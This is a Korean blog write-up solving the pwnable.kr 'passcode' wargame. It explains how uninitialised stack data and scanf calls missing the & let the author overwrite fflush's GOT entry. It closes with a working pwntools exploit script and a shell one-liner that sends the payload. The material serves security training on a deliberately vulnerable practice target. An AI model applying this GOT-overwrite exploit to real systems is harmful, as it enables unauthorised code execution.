Pwnable.kr

passcode

amoogotomollayo 2022. 3. 30. 23:04

 

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

문제에서 제공하는 소스 코드입니다.

 

welcome, login 함수가 실행됩니다.

 

welcome 함수에서는 name 배열에 100byte의 데이터를 입력할 수 있습니다.

login 함수에서는 변수 passcode1, passcode2에 데이터를 입력할 수 있습니다. 

그 뒤 조건문에서 passcode1과 passcode2가 특정 값과 같다면 FLAG를 출력합니다.

 

근데 scanf를 보면 인자들이 &가 붙어있지 않아 각 변수에 저장된 값을 주소로 데이터를 입력받습니다.

이때 변수에 저장된 주소를 사용자가 정할 수 있다면 사용자가 원하는 주소에 원하는 데이터를 입력할 수 있게 됩니다.

 

맨 처음 welcome 함수가 실행되는데 이때 데이터를 입력하고 login 함수가 실행될 때 이전 welcome 함수에서 입력한 일부 데이터들은 그대로 남아있습니다.

 

로그인 함수의 스택 상태입니다. 일정 부분의 데이터가 남아 있는 것을 볼 수 있습니다.

 

passcode1의 주소는 이전 welcome 함수에서 입력한 데이터에 영향을 받습니다.

이를 통해 원하는 주소에 원하는 데이터를 입력할 수 있게 되었습니다.

 

fflush 함수가 보이는데 해당 함수의 got를 system 함수가 실행되는 주소로 변조한다면 조건문을 거치지 않고 FLAG를 얻을 수 있게 됩니다.

 

fflush의 got는 0x804a004입니다. 해당 주소의 값을 system 함수가 실행되는 0x80485ce로 변조해보겠습니다.

 

코드와 결과는 아래와 같습니다.

from pwn import *

s = ssh(user='passcode', host='pwnable.kr', port=2222, password='guest')
p = s.process('./passcode')

payload = b"A" * 96 + b"\x04\xa0\x04\x08" + b"134514147"

p.sendline(payload)

p.recv()

p.interactive()

#r <<< `python -c 'print "A" * 96 + "\x04\xa0\x04\x08" + "134514147"'`